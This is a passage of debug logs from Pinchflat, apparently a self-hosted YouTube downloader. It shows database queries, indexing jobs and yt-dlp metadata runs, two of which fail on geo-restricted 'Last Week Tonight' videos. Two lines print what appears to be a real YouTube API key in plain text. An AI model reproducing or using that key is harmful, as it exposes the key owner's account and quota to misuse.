(((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 17:47:54.283 [debug] QUERY OK source="tasks" db=0.1ms idle=119.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800306, 41, ~U[2026-02-10 23:47:54Z], ~U[2026-02-10 23:47:54Z]] 17:47:54.283 [info] {"args":{"id":41},"id":3800268,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":120880,"event":"job:stop","queue_time":525539,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:54.321 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/13/e5/13e54a6611b508a21efe70f02b74cc1f9cda4aa64d1cab03d50076ee4b23949b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:47:54.321 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:47:54.322 [debug] QUERY OK source="settings" db=0.1ms idle=38.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:54.322 [debug] QUERY OK source="settings" db=0.0ms idle=38.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:54.322 [debug] Running yt-dlp command for action: get_media_attributes 17:47:54.337 [debug] QUERY OK source="settings" db=0.1ms idle=53.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:54.337 [debug] QUERY OK source="settings" db=0.0ms idle=53.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:54.337 [debug] QUERY OK source="settings" db=0.0ms idle=47.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:54.337 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/97/4e/974e60960d9f166329a17868e5ace868f570afab2a3633785b9495a8651071aa.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:47:55.163 [info] {"args":{"id":5},"id":3800269,"meta":{},"system_time":1770767275163582984,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:55.163 [debug] QUERY OK source="sources" db=0.1ms idle=826.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 17:47:55.164 [debug] QUERY OK source="settings" db=0.2ms idle=826.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:55.164 [debug] QUERY OK source="media_profiles" db=0.1ms idle=826.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:55.164 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:55.164 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 17:47:55.164 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:55.164 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:55.275 [debug] QUERY OK source="media_items" db=0.5ms idle=111.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 17:47:55.278 [debug] QUERY OK source="media_items" db=2.4ms idle=112.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 17:47:55.280 [debug] QUERY OK source="tasks" db=0.2ms idle=1.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800307, 5, ~U[2026-02-10 23:47:55Z], ~U[2026-02-10 23:47:55Z]] 17:47:55.280 [info] {"args":{"id":5},"id":3800269,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":116792,"event":"job:stop","queue_time":442316,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:55.750 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/97/4e/974e60960d9f166329a17868e5ace868f570afab2a3633785b9495a8651071aa.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:47:55.750 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:47:55.752 [debug] QUERY OK source="media_items" db=1.6ms idle=470.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 17:47:55.753 [debug] QUERY OK source="tasks" db=0.1ms idle=472.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800308, 6, ~U[2026-02-10 23:47:55Z], ~U[2026-02-10 23:47:55Z]] 17:47:55.753 [info] {"args":{"id":6},"id":3800264,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":8597767,"event":"job:stop","queue_time":901213,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:59.830 [info] {"source":"oban","duration":10397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.099 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:48:00.168 [info] {"args":{"id":1},"id":3800270,"meta":{},"system_time":1770767280168655204,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:48:00.168 [debug] QUERY OK source="sources" db=0.1ms idle=1006.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:48:00.169 [debug] QUERY OK source="settings" db=0.7ms idle=338.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:48:00.169 [debug] QUERY OK source="media_profiles" db=0.0ms idle=70.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:48:00.170 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:48:00.170 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 17:48:00.170 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:48:00.170 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:48:00.268 [debug] QUERY OK source="media_items" db=0.5ms idle=99.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", 